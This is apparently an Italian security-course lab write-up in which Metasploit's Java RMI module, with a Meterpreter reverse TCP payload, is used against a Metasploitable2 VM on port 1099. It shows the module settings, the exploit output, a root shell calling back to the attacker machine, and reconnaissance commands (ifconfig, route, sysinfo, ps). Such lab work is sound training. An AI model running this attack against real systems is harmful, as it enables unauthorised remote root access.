

Traccia: Esercizio Traccia e requisiti La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

IP Kali : 192.168.32.100

IP Metasploitable2 : 192.168.32.101

Metasploit

Exploit : multi/misc/java_rmi_server

RHOSTS : 192.168.32.101

RPORT : 1099

Payload : java/meterpreter/reverse_tcp

LHOST : 192.168.32.100

Module options (exploit/multi/misc/java_rmi_server):

| Name | Current Setting | Required | Description |
|-----------|-----------------|----------|---|
| HTTPDELAY | 10 | yes | Time that the HTTP Server will wait for the payload request |
| RHOSTS | 192.168.32.101 | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 1099 | yes | The target port (TCP) |
| SRVHOST | 0.0.0.0 | yes | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 8080 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incoming connections |
| SSLCert | | no | Path to a custom SSL certificate (default is randomly generated) |
| URIPATH | | no | The URI to use for this exploit (default is random) |

Payload options (java/meterpreter/reverse_tcp):

| Name | Current Setting | Required | Description |
|-------|-----------------|----------|--|
| LHOST | 192.168.32.100 | yes | The listen address (an interface may be specified) |
| LPORT | 4444 | yes | The listen port |

Exploit target:

| Id | Name |
|----|------------------------|
| 0 | Generic (Java Payload) |

View the full module info with the `info`, or `info -d` command.

`msf6` exploit(multi/misc/java_rmi_server) > exploit

```
[*] Started reverse TCP handler on 192.168.32.100:4444
[*] 192.168.32.101:1099 - Using URL: http://192.168.32.100:8080/pZgsF4Sifizr6Ki
[*] 192.168.32.101:1099 - Server started.
[*] 192.168.32.101:1099 - Sending RMI Header ...
[*] 192.168.32.101:1099 - Sending RMI Call ...
[*] 192.168.32.101:1099 - Replied to request for payload JAR
```

RICERCA INFORMAZIONI:

ifconfig : configurazione di rete

```
meterpreter > ifconfig

Interface 1
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.32.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feaf:e593
IPv6 Netmask : ::
```

route : tabella di routing

```
meterpreter > route

IPv4 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.32.101 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:feaf:e593 ::           ::           0            eth0
```

sysinfo : informazioni di sistema

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > getuid
Server username: root
meterpreter >
```

ps: lista processi in esecuzione

```
meterpreter > ps

Process List

PID  Name      User      Path
---  ---
1    /sbin/init root      /sbin/init
2    [kthreadd] root      [kthreadd]
3    [migration/0] root      [migration/0]
4    [ksoftirqd/0] root      [ksoftirqd/0]
5    [watchdog/0] root      [watchdog/0]
6    [events/0] root      [events/0]
7    [khelper] root      [khelper]
41   [kblockd/0] root      [kblockd/0]
44   [kacpid] root      [kacpid]
45   [kacpi_notify] root      [kacpi_notify]
90   [kseriod] root      [kseriod]
128  [pdflush] root      [pdflush]
129  [pdflush] root      [pdflush]
130  [kswapd0] root      [kswapd0]
```